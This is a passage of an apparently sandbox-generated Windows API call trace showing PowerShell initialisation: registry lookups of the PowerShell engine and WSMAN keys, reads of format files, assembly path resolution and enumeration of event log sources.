phkResult=0x14e658*=0x350) returned 0x0 [0062.755] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x0, lpcbData=0x14e69c*=0x0 | out: lpType=0x14e6a0*=0x1, lpData=0x0, lpcbData=0x14e69c*=0x56) returned 0x0 [0062.755] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x257278, lpcbData=0x14e69c*=0x56 | out: lpType=0x14e6a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e69c*=0x56) returned 0x0 [0062.755] RegCloseKey (hKey=0x350) returned 0x0 [0062.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0062.755] GetLastError () returned 0x0 [0062.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0062.755] GetLastError () returned 0x0 [0062.757] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x74498245, Data2=0x56c2, Data3=0x49e3, Data4=([0]=0x8a, [1]=0x9f, [2]=0x79, [3]=0x40, [4]=0x64, [5]=0xdc, [6]=0x69, [7]=0xb3))) returned 0x0 [0062.757] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xdf023368, Data2=0x2f29, Data3=0x4f9d, Data4=([0]=0x90, [1]=0xd5, [2]=0x2e, [3]=0x2a, [4]=0xd9, [5]=0x78, [6]=0x41, [7]=0x15))) returned 0x0 [0062.757] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e16c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0062.757] GetLastError () returned 0x0 [0062.757] SetErrorMode (uMode=0x1) returned 0x1 [0062.757] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0062.757] GetLastError () returned 0x0 [0062.757] GetFileType (hFile=0x350) returned 0x1 [0062.757] SetErrorMode (uMode=0x1) returned 0x1 [0062.757] GetFileType (hFile=0x350) returned 0x1 [0062.757] ReadFile (in: hFile=0x350, lpBuffer=0x328ee7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x328ee7c*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.759] GetLastError () returned 0x0 [0062.760] ReadFile (in: hFile=0x350, lpBuffer=0x328ee7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x328ee7c*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.760] GetLastError () returned 0x0 [0062.760] ReadFile (in: hFile=0x350, lpBuffer=0x328ee7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x328ee7c*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.760] GetLastError () returned 0x0 [0062.760] ReadFile (in: hFile=0x350, lpBuffer=0x328ee7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x328ee7c*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.761] GetLastError () returned 0x0 [0062.761] ReadFile (in: hFile=0x350, lpBuffer=0x328ee7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x328ee7c*, lpNumberOfBytesRead=0x14e6d4*=0xe98, lpOverlapped=0x0) returned 1 [0062.762] GetLastError () returned 0x0 [0062.762] ReadFile (in: hFile=0x350, lpBuffer=0x328e4b4, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x328e4b4*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.762] GetLastError () returned 0x0 [0062.762] ReadFile (in: hFile=0x350, lpBuffer=0x328ee7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x328ee7c*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.762] GetLastError () returned 0x0 [0062.762] CloseHandle (hObject=0x350) returned 1 [0062.762] GetLastError () returned 0x0 [0062.762] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e234, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0062.762] GetLastError () returned 0x0 [0062.762] SetErrorMode (uMode=0x1) returned 0x1 [0062.762] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x32afe78 | out: lpFileInformation=0x32afe78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0062.762] GetLastError () returned 0x0 [0062.762] SetErrorMode (uMode=0x1) returned 0x1 [0062.762] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0062.762] GetLastError () returned 0x0 [0062.762] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e658 | out: phkResult=0x14e658*=0x350) returned 0x0 [0062.763] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x0, lpcbData=0x14e69c*=0x0 | out: lpType=0x14e6a0*=0x1, lpData=0x0, lpcbData=0x14e69c*=0x56) returned 0x0 [0062.763] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x257278, lpcbData=0x14e69c*=0x56 | out: lpType=0x14e6a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e69c*=0x56) returned 0x0 [0062.763] RegCloseKey (hKey=0x350) returned 0x0 [0062.763] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0062.763] GetLastError () returned 0x0 [0062.763] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0062.763] GetLastError () returned 0x0 [0062.764] VirtualQuery (in: lpAddress=0x14d3b0, lpBuffer=0x14e3b0, dwLength=0x1c | out: lpBuffer=0x14e3b0*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.764] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xfcc081cc, Data2=0xfc38, Data3=0x4c4c, Data4=([0]=0x9e, [1]=0x67, [2]=0x14, [3]=0xff, [4]=0x24, [5]=0x70, [6]=0xac, [7]=0xad))) returned 0x0 [0062.765] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xd032b6be, Data2=0x8b08, Data3=0x40cf, Data4=([0]=0x90, [1]=0x83, [2]=0x4a, [3]=0x13, [4]=0x33, [5]=0x4b, [6]=0xbb, [7]=0x7))) returned 0x0 [0062.786] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0062.786] GetLastError () returned 0x57 [0062.786] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0062.786] GetLastError () returned 0x57 [0062.788] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0062.788] GetLastError () returned 0x57 [0062.789] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0062.789] GetLastError () returned 0x57 [0062.790] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.790] GetLastError () returned 0x57 [0062.790] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.790] GetLastError () returned 0x57 [0062.792] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0062.792] GetLastError () returned 0x57 [0062.792] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0062.792] GetLastError () returned 0x57 [0062.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0062.794] GetLastError () returned 0x57 [0062.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0062.794] GetLastError () returned 0x57 [0062.795] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0062.795] GetLastError () returned 0x57 [0062.795] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0062.795] GetLastError () returned 0x57 [0062.797] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0062.797] GetLastError () returned 0x57 [0062.797] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0062.798] GetLastError () returned 0x57 [0062.802] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.802] GetLastError () returned 0xcb [0062.803] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.803] GetLastError () returned 0xcb [0062.810] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.810] GetLastError () returned 0xcb [0062.813] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.813] GetLastError () returned 0xcb [0062.814] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.814] GetLastError () returned 0xcb [0062.817] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e74c | out: phkResult=0x14e74c*=0x350) returned 0x0 [0062.818] RegQueryInfoKeyW (in: hKey=0x350, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x14e79c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e7a0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x14e79c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e7a0*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.819] RegEnumValueW (in: hKey=0x350, dwIndex=0x0, lpValueName=0x257278, lpcchValueName=0x14e7c4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x14e7c4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.820] RegEnumValueW (in: hKey=0x350, dwIndex=0x1, lpValueName=0x257278, lpcchValueName=0x14e7c4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x14e7c4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.820] RegQueryValueExW (in: hKey=0x350, lpValueName="StackVersion", lpReserved=0x0, lpType=0x14e7a4, lpData=0x0, lpcbData=0x14e7a0*=0x0 | out: lpType=0x14e7a4*=0x1, lpData=0x0, lpcbData=0x14e7a0*=0x8) returned 0x0 [0062.820] RegQueryValueExW (in: hKey=0x350, lpValueName="StackVersion", lpReserved=0x0, lpType=0x14e7a4, lpData=0x257278, lpcbData=0x14e7a0*=0x8 | out: lpType=0x14e7a4*=0x1, lpData="2.0", lpcbData=0x14e7a0*=0x8) returned 0x0 [0062.879] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e708 | out: phkResult=0x14e708*=0x320) returned 0x0 [0062.879] RegQueryInfoKeyW (in: hKey=0x320, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x14e758, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e75c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x14e758*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e75c*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.880] RegEnumValueW (in: hKey=0x320, dwIndex=0x0, lpValueName=0x257278, lpcchValueName=0x14e780, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x14e780, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.880] RegEnumValueW (in: hKey=0x320, dwIndex=0x1, lpValueName=0x257278, lpcchValueName=0x14e780, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x14e780, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.880] RegQueryValueExW (in: hKey=0x320, lpValueName="StackVersion", lpReserved=0x0, lpType=0x14e760, lpData=0x0, lpcbData=0x14e75c*=0x0 | out: lpType=0x14e760*=0x1, lpData=0x0, lpcbData=0x14e75c*=0x8) returned 0x0 [0062.880] RegQueryValueExW (in: hKey=0x320, lpValueName="StackVersion", lpReserved=0x0, lpType=0x14e760, lpData=0x257278, lpcbData=0x14e75c*=0x8 | out: lpType=0x14e760*=0x1, lpData="2.0", lpcbData=0x14e75c*=0x8) returned 0x0 [0062.881] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.881] GetLastError () returned 0xcb [0062.883] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.883] GetLastError () returned 0xcb [0062.892] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6c8 | out: phkResult=0x14e6c8*=0x324) returned 0x0 [0062.892] RegQueryInfoKeyW (in: hKey=0x324, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x14e730, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e72c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x14e730*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e72c*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.893] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x0, lpName=0x257278, lpcchName=0x14e74c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x14e74c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.893] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x1, lpName=0x257278, lpcchName=0x14e74c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x14e74c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.893] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x2, lpName=0x257278, lpcchName=0x14e74c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x14e74c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.894] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x3, lpName=0x257278, lpcchName=0x14e74c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x14e74c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.894] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x4, lpName=0x257278, lpcchName=0x14e74c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x14e74c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.894] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x5, lpName=0x257278, lpcchName=0x14e74c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x14e74c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.894] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x6, lpName=0x257278, lpcchName=0x14e74c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x14e74c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.894] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x7, lpName=0x257278, lpcchName=0x14e74c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x14e74c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.894] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x8, lpName=0x257278, lpcchName=0x14e74c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x14e74c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.895] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x328) returned 0x0 [0062.895] RegOpenKeyExW (in: hKey=0x328, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x0) returned 0x2 [0062.895] RegOpenKeyExW (in: hKey=0x324, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x344) returned 0x0 [0062.895] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x0) returned 0x2 [0062.895] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x354) returned 0x0 [0062.895] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x0) returned 0x2 [0062.896] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x358) returned 0x0 [0062.896] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x0) returned 0x2 [0062.896] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x35c) returned 0x0 [0062.896] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x0) returned 0x2 [0062.896] RegOpenKeyExW (in: hKey=0x324, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x360) returned 0x0 [0062.896] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x0) returned 0x2 [0062.897] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: 